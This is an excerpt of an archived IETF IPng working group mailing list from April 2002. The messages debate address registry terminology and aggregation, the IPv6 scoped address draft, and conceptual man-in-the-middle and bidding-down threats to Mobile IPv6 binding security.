From owner-ipng@sunroof.eng.sun.com Mon Apr 1 01:08:48 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3198mKL028447; Mon, 1 Apr 2002 01:08:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3198m2E028446; Mon, 1 Apr 2002 01:08:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3198hKL028439 for ; Mon, 1 Apr 2002 01:08:43 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA18045 for ; Mon, 1 Apr 2002 01:08:47 -0800 (PST) Received: from southstation.m5p.com (dsl-209-162-215-52.easystreet.com [209.162.215.52]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20454 for ; Mon, 1 Apr 2002 01:08:27 -0800 (PST) Received: from m5p.com (parkstreet.m5p.com [10.100.0.1]) by southstation.m5p.com (8.12.2/8.12.2) with ESMTP id g3198eQU000570 (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=OK) for ; Mon, 1 Apr 2002 01:08:46 -0800 (PST) Received: (from george@localhost) by m5p.com (8.12.2/8.12.1/Submit) id g3198dvQ079670; Mon, 1 Apr 2002 01:08:39 -0800 (PST) Date: Mon, 1 Apr 2002 01:08:39 -0800 (PST) Message-Id: <200204010908.g3198dvQ079670@m5p.com> From: george+ipng@m5p.com To: ipng@sunroof.eng.sun.com Subject: ICANN Considered Harmful Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk So many questions and so few answers. My modest proposal: http://www.f-iw.org/. Subject: George for Benevolent Internet Dictator My platform: "You could do worse." -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 1 16:20:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g320K5KL000652; Mon, 1 Apr 2002 16:20:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g320K5Pf000651; Mon, 1 Apr 2002 16:20:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g320K3KL000644 for ; Mon, 1 Apr 2002 16:20:03 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g320Ivsl007518 for ; Mon, 1 Apr 2002 16:18:57 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g320IvZx007517 for ipng@sunroof.eng.sun.com; Mon, 1 Apr 2002 16:18:57 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g31FUTKL028793 for ; Mon, 1 Apr 2002 07:30:29 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA19879 for ; Mon, 1 Apr 2002 07:30:32 -0800 (PST) Received: from sequoia.muada.com (sequoia.muada.com [213.156.1.123]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA07293 for ; Mon, 1 Apr 2002 07:30:31 -0800 (PST) Received: from localhost (iljitsch@localhost) by sequoia.muada.com (8.11.3/8.9.3) with ESMTP id g31FTwA72497; Mon, 1 Apr 2002 17:29:59 +0200 (CEST) (envelope-from iljitsch@muada.com) Date: Mon, 1 Apr 2002 17:29:58 +0200 (CEST) From: Iljitsch van Beijnum To: Michel Py cc: Thomas Narten , Pekka Savola , , ipv6mh Subject: RE: (ipv6) semantics - TLA In-Reply-To: <2B81403386729140A3A899A8B39B046405DF39@server2000.arneill-py.sacramento.ca.us> Message-ID: <20020401171511.C70913-100000@sequoia.muada.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 29 Mar 2002, Michel Py wrote: [LIR definition] > >> The point I am trying to make here is that we need a name or acronym > >> for "ISPs that receive their addresses directly from a RIR". > > I think the registry terminology would be Local Internet Registry > > (LIR). RIRs allocate address space to LIRs. > I find the LIR definition below somehow inconsistent with RIR and NIR. Nobody ever said the universe is consistent. > If one was to follow the same logic, RIR, NIR and LIR would be similar > (RIR assigns to NIR and LIR, NIR assigns to LIR) except for their scope: > - RIR : ~continent. > - NIR : nation. > - LIR : city / metropolitan area. Why would you need three levels of bureaucracy for this? > Indeed, the logical definition for a LIR should be something like "A > provider-independent organization that assigns PI addresses to end-user > sites". This is obviously not how things work: that would make aggregation impossible. > It does not mean that the actual function could not be performed > by an ISP (as mentioned in 6.1.8 of [MHAP]), but the ISP should then be > clearly wearing two different hats. I am not convinced that making an > ISP a registry is a good idea in the sense that most people would want a > registry to be independent from the operators. People want to get addresses with no hassle. Getting them from your ISP is the least amount of hassle possible. Getting PI addresses and then get an ISP to route them for you is more work for everyone. > Which still leaves us (when RFC2373 is obsolete) with no replacement for > "TLA" and "pTLA". I still don't understand what is wrong with these. As a bystander, it seems to me too many people want their own address space so the whole aggregation idea doesn't work. At least not for the people who are interested in IPv6 at this point in time. It doesn't matter too much anyway, because if everyone gets PI space but the routers can't handle it, only blocks from the largest ISPs will be routed so everyone will trade in their PI block for a sub-assignment from one of those large ISPs. And if everyone gets PA space but the routers suddenly turn out to be able to handle 10 million routes with no problem, nobody will aggregate, even though the addresses make it possible. (Sort of what we have now.) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 1 18:04:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3224IKL000875; Mon, 1 Apr 2002 18:04:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3224HH4000874; Mon, 1 Apr 2002 18:04:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3224DKL000867 for ; Mon, 1 Apr 2002 18:04:14 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA26141 for ; Mon, 1 Apr 2002 18:04:16 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA27816 for ; Mon, 1 Apr 2002 19:04:15 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3224Do86641 for ; Tue, 2 Apr 2002 11:04:13 +0900 (JST) Date: Tue, 02 Apr 2002 11:04:19 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: poposed changes to the scoping architecture draft In-Reply-To: References: <200203221852.KAA21116@feller.mentat.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 36 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 29 Mar 2002 19:05:14 +0900, >>>>> JINMEI Tatuya said: >> How the unspecified address is treated by the forwarding code is orthogonal >> to how applications make use of it to specify which connections or datagrams >> are received on a socket. > Okay, and I think this also means we should separate architecture (or > protocol) issues and API issues more clearly. So, I'd propose: > in the architecture draft, clarify that the form of >
% is intended to be used for disambiguating scoped > addresses (that have ambiguity) and that the format should not be > used for global addresses or addresses that do not have scope (i.e., > ::). > (but this does not mean it prohibits an implementation -particularly > an API- from using the format for global addresses or for :: in an > implementation dependent manner.) (snip) > Does this make sense to you? The list has been too quiet to make a decision (perhaps just due to holidays?), but I'm going to revise the draft this week, along with the proposal above. If anyone of you have a strong objection, please speak up now. Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 1 18:07:29 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3227TKL000900; Mon, 1 Apr 2002 18:07:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3227TvG000899; Mon, 1 Apr 2002 18:07:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3227PKL000892 for ; Mon, 1 Apr 2002 18:07:25 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA26788 for ; Mon, 1 Apr 2002 18:07:27 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA28712 for ; Mon, 1 Apr 2002 19:07:26 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3227Ao86667; Tue, 2 Apr 2002 11:07:10 +0900 (JST) Date: Tue, 02 Apr 2002 11:07:17 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Bob Hinden Cc: IPv6 List Subject: Re: Draft IPv6 working group meeting minutes In-Reply-To: <4.3.2.7.2.20020328151005.0302d928@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20020328151005.0302d928@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 24 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 28 Mar 2002 15:10:31 -0800, >>>>> Bob Hinden said: > The draft meeting minutes and presentations from last weeks IPv6 w.g. > meetings can be found at: > http://playground.sun.com/pub/ipng/html/meetings.html > Please send me corrections. A minor correction: Scoped Address Architecture Update, Tatuya Jinmei ------------------------------------------------- Draves: Since :: is in the scope "INADDR_ANY", we need a way to identify that in an address representation. If I remember correctly, this comment was from Tim Hartrick (@Mentat). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 2 15:18:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g32NI4KL005227; Tue, 2 Apr 2002 15:18:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g32NI4OK005226; Tue, 2 Apr 2002 15:18:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g32NI1KL005219 for ; Tue, 2 Apr 2002 15:18:01 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA20176 for ; Tue, 2 Apr 2002 15:18:04 -0800 (PST) Received: from server2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65] (may be forged)) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA20477 for ; Tue, 2 Apr 2002 15:17:42 -0800 (PST) Content-Class: urn:content-classes:message Subject: RE: (ipv6) semantics - TLA MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Date: Tue, 2 Apr 2002 15:18:00 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Message-ID: <2B81403386729140A3A899A8B39B046405DF4A@server2000.arneill-py.sacramento.ca.us> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: (ipv6) semantics - TLA thread-index: AcHZkh3iRG6p1ZLyQ9i7XaDs4h31fQBB8lvw From: "Michel Py" To: "Iljitsch van Beijnum" Cc: "Thomas Narten" , "Pekka Savola" , , "ipv6mh" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g32NI1KL005220 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> Michel Py wrote: >> I find the LIR definition below somehow inconsistent with RIR and NIR. > Iljitsch van Beijnum wrote: > Nobody ever said the universe is consistent. Definitely not. Nevertheless, more consistency has never hurt any network I have seen. >> - RIR : ~continent. >> - NIR : nation. >> - LIR : city / metropolitan area. > Why would you need three levels of bureaucracy for this? Because it is likely to be easier to deal with a small local registry that speaks the same language than a huge multi-continent one. >> Indeed, the logical definition for a LIR should be something like "A >> provider-independent organization that assigns PI addresses to end-user >> sites". > This is obviously not how things work: that would make aggregation > impossible. I don't see why. The only reason behind geographical PI addresses is that they can be geographically aggregated. >> It does not mean that the actual function could not be performed >> by an ISP (as mentioned in 6.1.8 of [MHAP]), but the ISP should then be >> clearly wearing two different hats. I am not convinced that making an >> ISP a registry is a good idea in the sense that most people would want a >> registry to be independent from the operators. > People want to get addresses with no hassle. Getting them from your ISP is > the least amount of hassle possible. Getting PI addresses and then get an > ISP to route them for you is more work for everyone. You are making my point. However, I think that a) the provider's PA addresses and b) the customers geo PI addresses assigned by a registry are two different things (even if the registry function is actually manned by the customer's provider(s)). >> Which still leaves us (when RFC2373 is obsolete) with no replacement for >> "TLA" and "pTLA". I still don't understand what is wrong with these. > As a bystander, it seems to me too many people want their own address > space so the whole aggregation idea doesn't work. Again, it works with geographically aggregatable addresses, and the point I was trying to make is that "Local Internet Registry" seemed a good term (consistent with RIR and LIR) to describe the authority that allocates geo PI addresses to sites, with a strong likeliness that the function will be delegated to one of the ISPs servicing that area. Michel. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 06:18:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33EIuKL008468; Wed, 3 Apr 2002 06:18:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33EIuhl008467; Wed, 3 Apr 2002 06:18:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33EIqKL008460 for ; Wed, 3 Apr 2002 06:18:52 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA28168; Wed, 3 Apr 2002 06:18:56 -0800 (PST) Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA25864; Wed, 3 Apr 2002 07:18:55 -0700 (MST) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id QAA83652; Wed, 3 Apr 2002 16:18:39 +0200 Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by d12relay01.de.ibm.com (8.11.1m3/NCO/VER6.00) with SMTP id g33EIbq38906; Wed, 3 Apr 2002 16:18:37 +0200 Received: from dhcp22-167.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA38532 from ; Wed, 3 Apr 2002 16:18:32 +0200 Message-Id: <3CAB0F1F.CE9DB679@hursley.ibm.com> Date: Wed, 03 Apr 2002 16:18:07 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Hesham Soliman (ERA)" Cc: "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Hesham Soliman (ERA)" wrote: ... > The scenario Brian mentioned > will not be an issue for bidding down attacks > related to mobility. Can you explain? I don't see why you can't have an evil MitM intercepting binding updates and bidding them down. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 07:17:26 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33FHPKL008592; Wed, 3 Apr 2002 07:17:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33FHPhu008591; Wed, 3 Apr 2002 07:17:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33FHMKL008584 for ; Wed, 3 Apr 2002 07:17:22 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA11026 for ; Wed, 3 Apr 2002 07:17:24 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA16797 for ; Wed, 3 Apr 2002 07:17:23 -0800 (PST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id D81968; Wed, 3 Apr 2002 18:19:00 +0300 (EEST) Message-ID: <3CAB1D1D.6000803@nomadiclab.com> Date: Wed, 03 Apr 2002 18:17:49 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Brian E Carpenter Cc: "Hesham Soliman (ERA)" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian, > "Hesham Soliman (ERA)" wrote: >>The scenario Brian mentioned >>will not be an issue for bidding down attacks >>related to mobility. Brian E Carpenter wrote: > Can you explain? I don't see why you can't have an evil MitM > intercepting binding updates and bidding them down. This is really a question of perception and threat model. Technically you are right. An evil MitM can intercept binding updates and bid them down. However, the evil MitM can do worse things, like prevent communication altogether. It can also perform a "classic" MitM attack, changing message contents on the fly. The goal of MIPv6 security is not to protect against "classic" MitM attacks. It is designed to secure mobility signalling, i.e. messages that change a node's (CNs) internal routing information. That is, the goal is to prevent false bindings from being created at a CN, and thereby prevent traffic diversion and DoS, among other things. Now, the design goal for the MIPv6 security design was "do no harm", meaning that MIPv6 must not make Internet any less secure than it is already now. From that point of view, the selected MIPv6 security mechanism, Return Routability (RR), is approaching the goal from below. That is, it still allows "time shifting" attacks where an attacker is able to create a binding when a Mobile Node is not active, and thereby prevent the legitimite MN from communicating with the CN once it becomes active. (There are also other DoS concerns involved where other hosts or parts of the network become victims of DDoS attacks.) Now, RR reaches the goal by reducing the time window for the "time shifting" attacks to a few minutes. Thus, RR as such, is insecure. A MitM can break it easily. Now, one goal of the "bit method" was to reserve some footing for the more secure protocols. That is, if we assume that there are two types of mobile nodes, "weak" ones and "strong" ones, but only one type of corresponding nodes, ones that are able to act either as "weak" or "strong", the bit method does indeed seem to create some footing. When a "strong" MN talks to the CN, a MitM can still prevent all communications between the MN and the CN and it can change MN's address into a "weak" one on packets flowing MN->CN and back to the "strong" one on packets flowing on CN->MN. However, if we consider our security goal, that doesn't matter. Our goal was prevent the creation of false bindings. The MitM cannot create a false binding for the MN at the CN, and it cannot fool the MN to believe that it has succesfully created a binding at the CN. The crusial assumptions here are the following: 1. We want to prevent the MitM from creating bindings for some addresses even if it is able to break the "weak" method. This creates some footage for the "strong" methods. 2. The MNs make an a priori decision whether they want to use a strong or the weak method. 3. Our goal is to allow the MN to securely indicate the CN whether it wants to use the "weak" or "strong" method. Now, under these specific conditions the "bit method" seems to work. Not perfectly, but well enough. On the other hand, the bit method *cannot* be used as a generic bidding down protection, as I mistakenly thought for a couple of weeks. And of course it is possible that there is still some flaw in my thinking and/or in the explanation above. If that is the case, I'd be happy if you or anyone could please point that out. Well, personally I consider the bit method as a gross hack, and really wish that we can create something better. The need is there. We just need a method. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 07:17:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33FHtKL008602; Wed, 3 Apr 2002 07:17:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33FHsFg008601; Wed, 3 Apr 2002 07:17:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33FHoKL008594 for ; Wed, 3 Apr 2002 07:17:50 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA21413 for ; Wed, 3 Apr 2002 07:17:53 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22455 for ; Wed, 3 Apr 2002 08:17:50 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g33FHms7003842 for ; Wed, 3 Apr 2002 17:17:49 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Wed Apr 03 17:15:13 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 17:07:12 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ABFB@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Brian E Carpenter'" Cc: "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Wed, 3 Apr 2002 17:17:22 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The scenario Brian mentioned > > will not be an issue for bidding down attacks > > related to mobility. > > Can you explain? I don't see why you can't have an evil MitM > intercepting binding updates and bidding them down. > => In the case where the iids are somehow cryptographigally generated, if you change one bit in the address, the result is that the 2 nodes will end up talking to 2 different nodes. Or if the attack is only done in one direction then Bob will talk to Sam instead of Alice. This is because by changing the bit in the address, you have changed the identity of the device that is establishing the SA. This is the advantage of having the bit inside the address. For the mobility cases, the identity is the address, so changing the address == changing the identity => A talks to C instead of talking to B. Establishing the SA takes more than one RT, so changing it in only one of the messages will cause the whole process to fail. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 11:32:42 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33JWgKL010514; Wed, 3 Apr 2002 11:32:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33JWgvY010513; Wed, 3 Apr 2002 11:32:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33JWdKL010506 for ; Wed, 3 Apr 2002 11:32:39 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24731 for ; Wed, 3 Apr 2002 11:32:42 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA08897 for ; Wed, 3 Apr 2002 12:32:41 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA08129; Wed, 3 Apr 2002 11:32:41 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g33JWfS02198; Wed, 3 Apr 2002 11:32:41 -0800 X-mProtect: <200204031932> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdlGyLoa; Wed, 03 Apr 2002 11:32:38 PST Message-Id: 